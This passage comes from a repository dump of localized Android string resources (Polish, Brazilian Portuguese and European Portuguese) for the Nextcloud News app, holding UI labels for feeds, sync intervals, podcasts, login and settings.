name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatury (tylko nagłówki)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniatury</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Prosty tekst</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Nagłówki</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Rozbudowany tekst</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Układ strony</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Widok karty</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Mały</string>\n    <string name=\"pref_display_font_size_d\">Domyślny</string>\n    <string name=\"pref_display_font_size_l\">Duży</string>\n    <string name=\"pref_display_font_size_xl\">Bardzo duży</string>\n\n    <string name=\"content_desc_play\">Odtwarzaj</string>\n    <string name=\"content_desc_pause\">Wstrzymaj</string>\n    <string name=\"content_desc_playback_speed\">Prędkość odtwarzania</string>\n    <string name=\"content_desc_rewind\">Przewiń wstecz</string>\n    <string name=\"content_desc_forward\">Przewiń wprzód</string>\n    <string name=\"content_desc_expand\">Rozwiń</string>\n    <string name=\"content_desc_collapse\">Zwiń</string>\n    <string name=\"content_desc_mark_as_read\">Oznacz jako przeczytane</string>\n    <string name=\"content_desc_mark_as_unread\">Oznacz jako nieprzeczytane</string>\n    <string name=\"content_desc_tap_to_refresh\">Dotknij, aby odświeżyć</string>\n    <string name=\"content_desc_add_to_favorites\">Dodaj do ulubionych</string>\n    <string name=\"content_desc_remove_from_favorites\">Usuń z ulubionych</string>\n    <string name=\"content_desc_show_password\">Pokaż hasło</string>\n    <string name=\"content_desc_delete\">Usuń</string>\n    <string name=\"content_desc_download\">Pobierz</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Błąd</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Wygląda na to, że aplikacja obsługująca aktualności nie jest zainstalowana lub aktywowana na twoim serwerze. Aby skonfigurować aplikację na swoim serwerze skorzystaj z tych porad: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Coś poszło nie tak :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Aplikacja Web News zwróciła wersję \\\"0\\\". Proszę sprawdź następujący raport o błędzie: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Ta wersja aplikacji nie jest zgodna z aplikacją Nextcloud News. Zaktualizuj aplikację i appframeworka do nowej wersji.</string>\n    <string name=\"login_dialog_title_security_warning\">Ostrzeżenie bezpieczeństwa</string>\n    <string name=\"login_dialog_text_security_warning\">Nie korzystasz z HTTPS, co jest bardzo zalecane. Osoba atakująca może przechwycić ruch i uzyskać dostęp do poufnych danych (np. Hasła).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Coś poszło nie tak. Spróbuj ponownie.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; synchronizacja</string>\n    <string name=\"pref_title_clearCache\">Czyść pamięć podręczną</string>\n    <string name=\"pref_title_CacheImagesOffline\">Zapisuj obrazy offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Maksymalny rozmiar pamięci podręcznej</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nigdy</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Tylko przez WiFi</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Przez WiFi &amp; Mobilne</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Zapytaj gdy nie podłączony do WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nigdy</string>\n    <string name=\"array_sync_interval_min_5\">5 minut</string>\n    <string name=\"array_sync_interval_min_15\">15 minut</string>\n    <string name=\"array_sync_interval_min_30\">30 minut</string>\n    <string name=\"array_sync_interval_min_45\">45 minut</string>\n    <string name=\"array_sync_interval_hour_1\">1 godzina</string>\n    <string name=\"array_sync_interval_hour_2\">2 godziny</string>\n    <string name=\"array_sync_interval_hour_3\">3 godziny</string>\n    <string name=\"array_sync_interval_hour_6\">6 godzin</string>\n    <string name=\"array_sync_interval_hour_12\">12 godzin</string>\n    <string name=\"array_sync_interval_hour_24\">24 godziny</string>\n    <string name=\"switch_account\">Przełącz konto</string>\n    \n    <string name=\"successfully_exported\">Pomyślnie wyeksportowano do:</string>\n    <string name=\"opml_export\">Eksport OPML</string>\n    <string name=\"parsing_opml\">Przetwarzanie OPML</string>\n    <string name=\"please_wait\">Proszę czekać…</string>\n    <string name=\"interval_sync_title\">Interwał synchronizacji</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-pt-rBR/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sincronização</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalo de Sincronização</string>\n    <string name=\"empty_view_content\">Este local está vazio</string>\n    <string name=\"empty_view_content_action\">Puxe para baixo para atualizar</string>\n    <string name=\"toast_GettingMoreItems\">Download de mais itens foi iniciado. Por favor, aguarde …</string>\n    <string name=\"no_wifi_available\">Nenhum Wi-Fi conectado</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Quer baixar as imagens sem uma conexão Wi-Fi?</string>\n    <string name=\"current_version\">Você está usando a versão %s</string>\n    <string name=\"widget_header\">Nextcloud Notícias</string>\n    <string name=\"message_bar_scroll_top\">Recarregar e rolar até o topo</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">%d novo item disponível</item>\n        <item quantity=\"many\">%d novos itens disponíveis</item>\n        <item quantity=\"other\">%d novos itens disponíveis</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recarregar</string>\n    <string name=\"allUnreadFeeds\">Todos itens não lidos</string>\n    <string name=\"starredFeeds\">Itens com estrela</string>\n    <string name=\"downloadedPodcasts\">Podcasts baixados</string>\n    <string name=\"title_activity_new_feed\">Adicionar novo feed</string>\n\n    <string name=\"menu_update\">Atualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar todos como lidos</string>\n    <string name=\"menu_StartImageCaching\">Baixar imagens</string>\n    <string name=\"menu_downloadMoreItems\">Fazer download de mais itens</string>\n\n    <string name=\"tv_showing_cached_version\">Mostrando a versão em cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Vistos</string>\n    <string name=\"action_read\">Ler</string>\n    <string name=\"action_playPodacst\">Ouvir o Podcast</string>\n    <string name=\"action_removePodcast\">Remover Mídia de Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir no navegador web</string>\n    <string name=\"action_Share\">Compartilhar</string>\n    <string name=\"action_login\">Configurações do servidor</string>\n    <string name=\"action_save\">Salvar</string>\n    <string name=\"action_settings\">Configurações</string>\n    <string name=\"action_sync_settings\">Configurações de Sincronização</string>\n    <string name=\"action_add_new_feed\">Adicionar novo feed</string>\n    <string name=\"action_add_new_folder\">Adicionar nova pasta</string>\n    <string name=\"action_textToSpeech\">Leia</string>\n    <string name=\"action_search\">Pesquisar</string>\n    <string name=\"action_download_articles_offline\">Download de artigos off-line</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Download de artigos para uso off-line</string>\n    <string name=\"notification_download_images_offline\">Download de imagens para uso off-line</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Você tem %d novo item não lido</item>\n        <item quantity=\"many\">Você tem %d novos itens não lidos</item>\n        <item quantity=\"other\">Você tem %d novos itens não lidos</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d novo item não lido disponível</item>\n        <item quantity=\"many\">%d novos itens não lidos disponíveis</item>\n        <item quantity=\"other\">%d novos itens não lidos disponíveis</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL do feed</string>\n    <string name=\"action_add_feed\">Adicionar feed</string>\n    <string name=\"import_opml\">Importar OPML</string>\n    <string name=\"export_opml\">Exportar OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Baixar Imagem</string>\n    <string name=\"action_img_sharelink\">Link de Compartilhamento de Imagem</string>\n    <string name=\"action_img_open\">Abrir a Imagem no Navegador</string>\n    <string name=\"action_img_copylink\">Copiar link da imagem</string>\n    <string name=\"action_link_share\">Link de Compartilhamento</string>\n    <string name=\"action_link_open\">Abrir o Link no Navegador</string>\n    <string name=\"action_link_copy\">Copiar link</string>\n    <string name=\"toast_img_download_wait\">Baixando. Por favor, aguarde …</string>\n    <string name=\"toast_img_saved\">Imagem gravada</string>\n    <string name=\"toast_img_notwriteable\">Falhou ao salvar Imagem</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado para área de transferência</string>\n    <string name=\"error_download_failed\">A transferência falhou</string>\n    <string name=\"intent_title_share\">Compartilhar via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Remover Feed</string>\n    <string name=\"action_feed_rename\">Renomear Feed</string>\n    <string name=\"action_feed_move\">Mover Feed</string>\n    <string name=\"action_feed_notification_settings\">Configurações de notificação</string>\n    <string name=\"action_feed_open_in\">Configurações de abertura</string>\n    <string name=\"action_feed_open_in_general_setting\">Usar configuração geral</string>\n    <string name=\"action_feed_open_in_detailed_view\">Visualização detalhada</string>\n    <string name=\"feed_remove_button\">Remover</string>\n    <string name=\"feed_rename_button\">Renomear</string>\n    <string name=\"confirm_feed_remove\">Você realmente deseja remover este Feed? Isso não pode ser desfeito!</string>\n    <string name=\"feed_move_list_description\">Selecione a pasta para mover o feed</string>\n    <string name=\"move_feed_root_folder\">Pasta raiz</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Remover pasta</string>\n    <string name=\"action_folder_rename\">Renomear pasta</string>\n    <string name=\"folder_remove_button\">Remover</string>\n    <string name=\"folder_rename_button\">Renomear</string>\n    <string name=\"confirm_folder_remove\">Deseja realmente remover esta pasta? Isso não pode ser desfeito!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Receber notificações exclusivas para este feed</string>\n    <string name=\"notification_feed_default\">Todos os feeds com as configurações padrão aparecerão em uma notificação</string>\n    <string name=\"notification_feed_none\">Sem notificações</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Adicionar</string>\n    <string name=\"hint_folder_name\">Nome da pasta</string>\n    <string name=\"folder_already_exists\">A pasta já existe</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Login manual</string>\n    <string name=\"login_sso\">Login usando o aplicativo FIles</string>\n    <string name=\"pref_title_username\">Nome de Usuário</string>\n    <string name=\"pref_title_password\">Senha</string>\n    <string name=\"pref_title_owncloudRootPath\">Endereço raiz do Nextcloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Entrar</string>\n    <string name=\"login_progress_signing_in\">Fazendo login …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este campo é obrigatório</string>\n    <string name=\"error_invalid_url\">URL incorreta</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d item marcado como lido</item>\n        <item quantity=\"many\">%d de itens marcados como lidos</item>\n        <item quantity=\"other\">%d itens marcados como lidos</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Transferido %d item antigo</item>\n        <item quantity=\"many\">Transferidos %d itens antigos</item>\n        <item quantity=\"other\">Transferidos %d itens antigos</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Nenhum item disponível</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Já foi buscado %d item até agora …</item>\n        <item quantity=\"many\">Já foram buscados %d de itens até agora …</item>\n        <item quantity=\"other\">Já foram buscados %d itens até agora …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Configurações</string>\n    <string name=\"cache_is_cleared\">O cache está limpo!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Geral</string>\n    <string name=\"pref_title_general_sort_order\">Ordem de Classificação</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Novo → Antigo</string>\n    <string name=\"pref_general_sort_order_old_new\">Antigo → Novo</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Ação ao deslizar para a direita</string>\n    <string name=\"pref_rename_action_swipe_left\">Ação ao deslizar para a esquerda</string>\n\n    <string name=\"pref_title_general_search_in\">Procurar em</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_body\">Corpo</string>\n    <string name=\"pref_general_search_in_both\">Ambos</string>\n\n    <string name=\"dialog_clearing_cache\">Limpando o cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Limpando o cache. Por favor, aguarde …</string>\n    <string name=\"reset_cache_unsaved_changes\">Há alterações não sincronizadas. Gostaria de redefinir o cache de qualquer maneira?</string>\n    <string name=\"warning\">Aviso</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar na inicialização</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Exibir apenas artigos não lidos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desativar Verificação de Hostname</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegar usando os botões de volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como lido enquanto navegar</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sincronizar ao rolar até o final</string>\n    <string name=\"pref_title_ShowFastActions\">Ativar as funções de acesso rápido</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Saltar exibição detalhada e abrir o artigo no navegador</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">O botão Voltar abre o menu</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Aceita Certificado Desconhecido?</string>\n    <string name=\"mtm_decision_always\">Sempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificação de Certificado</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nenhum podcast selecionado</string>\n    <string name=\"no_chapters_available\">Nenhum capítulo disponível</string>\n    <string name=\"exit_playback\">Sair do Reprodutor</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Velocidade do Playback</string>\n    <string name=\"notification_downloading_podcast_title\">Baixando podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Você tem certeza?</string>\n    <string name=\"dialog_podcast_remove_body\">Você deseja remover a mídia baixada para %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Falha ao remover mídia de %1$s</string>\n    <string name=\"dialog_podcast_status_success\">A mídia de %1$s foi removida</string>\n    <string name=\"dialog_podcast_remove_confirm\">Remover</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Sobre</string>\n    <string name=\"pref_license\">Licença</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) versão 3</string>\n    <string name=\"pref_report_issue\">Relatar um problema</string>\n    <string name=\"pref_report_issue_summary\">Necessita uma conta GitHub (gratuita)</string>\n    <string name=\"pref_contribute\">Contribua!</string>\n    <string name=\"pref_contribute_summary\">Obter o código-fonte</string>\n    <string name=\"pref_privacy\">Privacidade</string>\n    <string name=\"pref_privacy_summary\">Política de Privacidade do Nextcloud Notícias para Android</string>\n    <string name=\"pref_news_policy\">Contate-nos / Política de Notícias</string>\n    <string name=\"pref_news_policy_summary\">Política de Privacidade do Nextcloud Notícias para Android / Contate-nos</string>\n    <string name=\"pref_version\">Aplicativo Nextcloud Notícias para Android</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Exibir</string>\n    <string name=\"pref_title_app_theme\">Tema</string>\n    <string name=\"pref_title_feed_list_layout\">Layout da lista de feeds</string>\n    <string name=\"pref_title_font_size\">Tamanho da fonte</string>\n    <string name=\"pref_display_browser\">Navegador</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Ícones de ação (Exibição detalhada)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Padrão do Sistema</string>\n    <string name=\"pref_display_apptheme_light\">Claro</string>\n    <string name=\"pref_display_apptheme_dark\">Escuro</string>\n\n    <string name=\"pref_oled_mode\">Fundo escuro</string>\n    <string name=\"pref_oled_mode_summary\">Para temas escuros em telas OLED</string>\n\n    <string name=\"pref_detailed_view_zoom\">Zoom na visualização detalhada</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Habilitar o zoom do conteúdo na visualização detalhada</string>\n\n    <string name=\"pref_external_player\">Reprodutor Externo</string>\n    <string name=\"pref_external_player_summary\">Reproduzir podcasts em seu aplicativo de mídia padrão</string>\n\n    <string name=\"pref_display_browser_cct\">Chrome-Custom-Tabs incorporadas</string>\n    <string name=\"pref_display_browser_built_in\">Navegador Incorporado</string>\n    <string name=\"pref_display_browser_external\">Navegador Externo</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniaturas (apenas títulos)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniaturas</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Texto simples</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Manchetes</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Texto completo</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Layout da web</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Visualização de cartão</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Pequeno</string>\n    <string name=\"pref_display_font_size_d\">Padrão</string>\n    <string name=\"pref_display_font_size_l\">Grande</string>\n    <string name=\"pref_display_font_size_xl\">Extra Grande</string>\n\n    <string name=\"content_desc_play\">Reproduzir</string>\n    <string name=\"content_desc_pause\">Pausar</string>\n    <string name=\"content_desc_playback_speed\">Velocidade de reprodução</string>\n    <string name=\"content_desc_rewind\">Retroceder</string>\n    <string name=\"content_desc_forward\">Avançar</string>\n    <string name=\"content_desc_expand\">Expandir</string>\n    <string name=\"content_desc_collapse\">Recolher</string>\n    <string name=\"content_desc_mark_as_read\">Marcar como lido</string>\n    <string name=\"content_desc_mark_as_unread\">Marcar como não lido</string>\n    <string name=\"content_desc_tap_to_refresh\">Toque para atualizar</string>\n    <string name=\"content_desc_add_to_favorites\">Adicionar aos favoritos</string>\n    <string name=\"content_desc_remove_from_favorites\">Remover dos favoritos</string>\n    <string name=\"content_desc_show_password\">Mostrar senha</string>\n    <string name=\"content_desc_delete\">Excluir</string>\n    <string name=\"content_desc_download\">Baixar</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Erro</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Parece que o seu aplicativo de notícias não está instalado ou ativado no servidor. Por favor, siga as instruções dadas aqui para configurar o aplicativo no servidor primeiro: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Algo deu errado :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">O aplicativo Web News retornou a versão \\\"0\\\". Por favor, veja o seguinte relatório de erro: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Esta versão do aplicativo não é compatível com o seu aplicativo Nextcloud News. Atualize o aplicativo de notícias e o quadro de aplicativos.</string>\n    <string name=\"login_dialog_title_security_warning\">Aviso de Segurança</string>\n    <string name=\"login_dialog_text_security_warning\">Você não está usando HTTPS, que é fortemente encorajado. Um invasor pode interceptar seu tráfego e obter acesso a alguns dados confidenciais (sua senha, por exemplo).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Algo deu errado. Por favor, tente novamente.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Dados &amp; sincronização</string>\n    <string name=\"pref_title_clearCache\">Limpar cache</string>\n    <string name=\"pref_title_CacheImagesOffline\">Armazenar imagens off-line</string>\n    <string name=\"pref_title_Max_Cache_Size\">Tamanho Máximo do Cache</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Nunca</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Por WiFi somente</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Por WiFi &amp; Celular</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Perguntar quando não conectado por WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Nunca</string>\n    <string name=\"array_sync_interval_min_5\">5 minutos</string>\n    <string name=\"array_sync_interval_min_15\">15 minutos</string>\n    <string name=\"array_sync_interval_min_30\">30 minutos</string>\n    <string name=\"array_sync_interval_min_45\">45 minutos</string>\n    <string name=\"array_sync_interval_hour_1\">1 hora</string>\n    <string name=\"array_sync_interval_hour_2\">2 horas</string>\n    <string name=\"array_sync_interval_hour_3\">3 horas</string>\n    <string name=\"array_sync_interval_hour_6\">6 horas</string>\n    <string name=\"array_sync_interval_hour_12\">12 horas</string>\n    <string name=\"array_sync_interval_hour_24\">24 horas</string>\n    <string name=\"switch_account\">Mudar de conta</string>\n    \n    <string name=\"successfully_exported\">Exportado com sucesso para:</string>\n    <string name=\"opml_export\">Exportar OPML</string>\n    <string name=\"parsing_opml\">Analisando o arquivo OPML</string>\n    <string name=\"please_wait\">Por favor, aguarde …</string>\n    <string name=\"interval_sync_title\">Sincronização em Intervalo</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-pt-rPT/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Sincronização Automática</string>\n    <string name=\"title_activity_sync_interval_selector\">Intervalo de Sincronização</string>\n    <string name=\"empty_view_content\">Sem itens aqui</string>\n    <string name=\"empty_view_content_action\">Puxe para atualizar</string>\n    <string name=\"toast_GettingMoreItems\">Iniciada a transferência de mais itens. Por favor, aguarde...</string>\n    <string name=\"no_wifi_available\">Sem ligação wi-fi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Deseja transferir as imagens sem uma ligação Wi-Fi?</string>\n    <string name=\"current_version\">Está a usar a Versão %s</string>\n    <string name=\"widget_header\">Notícias da ownCloud</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Disponível %d novo item</item>\n        <item quantity=\"many\">Disponíveis %d novos itens</item>\n        <item quantity=\"other\">Disponíveis %d novos itens</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Recarregar</string>\n    <string name=\"allUnreadFeeds\">Todos os itens não lidos</string>\n    <string name=\"starredFeeds\">Itens destacados</string>\n    <string name=\"downloadedPodcasts\">Podcasts transferidos</string>\n    <string name=\"title_activity_new_feed\">Adicionar nova feed</string>\n\n    <string name=\"menu_update\">Atualizar</string>\n    <string name=\"menu_markAllAsRead\">Marcar tudo como lido</string>\n    <string name=\"menu_StartImageCaching\">Transferir imagens</string>\n    <string name=\"menu_downloadMoreItems\">Transferir mais itens</string>\n\n    <string name=\"tv_showing_cached_version\">A mostrar versão em cache</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Marcado</string>\n    <string name=\"action_read\">Lido</string>\n    <string name=\"action_playPodacst\">Reproduzir Podcast</string>\n    <string name=\"action_openInBrowser\">Abrir no navegador da Web</string>\n    <string name=\"action_Share\">Partilhar</string>\n    <string name=\"action_login\">Definições do Servidor</string>\n    <string name=\"action_save\">Guardar</string>\n    <string name=\"action_settings\">Definições</string>\n    <string name=\"action_sync_settings\">Definições da Sincronização </string>\n    <string name=\"action_add_new_feed\">Adicionar nova feed</string>\n    <string name=\"action_add_new_folder\">Adicionar nova pasta</string>\n    <string name=\"action_textToSpeech\">Leitura automática</string>\n    <string name=\"action_search\">Pesquisar</string>\n    <string name=\"action_download_articles_offline\">Transferir artigos \\'\\'off-line\\'\\'</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">A transferir os artigos para utilização \\'\\'off-line\\'\\'</string>\n    <string name=\"notification_download_images_offline\">A transferir as imagens para utilização \\'\\'off-line\\'\\'</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Tem %d novo item por ler</item>\n        <item quantity=\"many\">Tem %d novos itens por ler</item>\n        <item quantity=\"other\">Tem %d novos itens por ler</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">Tem disponível %d novo item por ler</item>\n        <item quantity=\"many\">Tem disponível %d novos itens por ler</item>\n        <item quantity=\"other\">Tem disponível %d novos itens por ler</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">URL da Feed</string>\n    <string name=\"action_add_feed\">Adicionar feed</string>\n    <string name=\"import_opml\">Importar OPML</string>\n    <string name=\"export_opml\">Exportar OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Transferir Imagem</string>\n    <string name=\"action_img_sharelink\">Partilhar hiperligação de imagem</string>\n    <string name=\"action_img_open\">Abrir imagem no browser</string>\n    <string name=\"action_img_copylink\">Copiar hiperligação</string>\n    <string name=\"action_link_share\">Partilhar hiperligação</string>\n    <string name=\"action_link_open\">Abrir ligação num explorador</string>\n    <string name=\"action_link_copy\">Copiar hiperligação</string>\n    <string name=\"toast_img_download_wait\">A transferir. Por favor, aguarde...</string>\n    <string name=\"toast_img_saved\">Imagem guardada</string>\n    <string name=\"toast_img_notwriteable\">Falhou ao guardar a imagem</string>\n    <string name=\"toast_copied_to_clipboard\">Copiado para a área de transferência</string>\n    <string name=\"error_download_failed\">Transferência falhou</string>\n    <string name=\"intent_title_share\">Partilhar por</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Remover Feed</string>\n    <string name=\"action_feed_rename\">Renomear Feed</string>\n    <string name=\"action_feed_move\">Mover Feed</string>\n    <string name=\"action_feed_notification_settings\">Definições de notificação</string>\n    <string name=\"feed_remove_button\">Remover</string>\n    <string name=\"feed_rename_button\">Renomear</string>\n    <string name=\"confirm_feed_remove\">Tem a certeza que deseja remover esta Feed? A operação não pode ser anulada!</string>\n    <string name=\"feed_move_list_description\">Selecionar a pasta para mover a feed</string>\n    <string name=\"move_feed_root_folder\">Pasta raiz</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Remover pasta</string>\n    <string name=\"action_folder_rename\">Renomear pasta</string>\n    <string name=\"folder_remove_button\">Remover</string>\n    <string name=\"folder_rename_button\">Renomear</string>\n    <string name=\"confirm_folder_remove\">Deseja realmente remover esta pasta? Isto não pode ser desfeito!</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Adicionar</string>\n    <string name=\"hint_folder_name\">Nome da pasta</string>\n    <string name=\"folder_already_exists\">A pasta já existe</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Sessão manual</string>\n    <string name=\"login_sso\">Inicie a sessão usando a aplicação Nextcloud Files</string>\n    <string name=\"pref_title_username\">Nome de utilizador</string>\n    <string name=\"pref_title_password\">Palavra-passe:</string>\n    <string name=\"pref_title_owncloudRootPath\">Endereço raiz do ownCloud</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/owncloud</string>\n\n    <string name=\"action_sign_in_short\">Iniciar Sessão</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Este campo é obrigatório</string>\n    <string name=\"error_invalid_url\">URL incorreto</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Transferidos %d item antigo</item>\n        <item quantity=\"many\">Transferidos %d itens antigos</item>\n        <item quantity=\"other\">Transferidos %d itens antigos</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Não há mais itens disponíveis</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Definições</string>\n    <string name=\"cache_is_cleared\">A cache está limpa!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Geral</string>\n    <string name=\"pref_title_general_sort_order\">Ordem da ordenação</string>\n\n    <string name=\"pref_title_general_search_in\">Pesquisar em</string>\n\n    <string name=\"pref_general_search_in_title\">Título</string>\n    <string name=\"pref_general_search_in_body\">Corpo</string>\n    <string name=\"dialog_clearing_cache\">Limpar cache</string>\n    <string name=\"reset_cache_unsaved_changes\">Há mudanças não sincronizadas. Gostaria de repor a cache na mesma?</string>\n    <string name=\"warning\">Aviso</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sincronizar no arranque</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Só mostrar os artigos não lidos</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Desativar a Verificação do Nome de Anfitrião</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navegue com os botões do volume</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Marcar como lido enquanto rolar com o rato</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Aceitar os certificados desconhecidos?</string>\n    <string name=\"mtm_decision_always\">Sempre</string>\n    <string name=\"mtm_decision_abort\">Abortar</string>\n    <string name=\"mtm_notification\">Verificação do 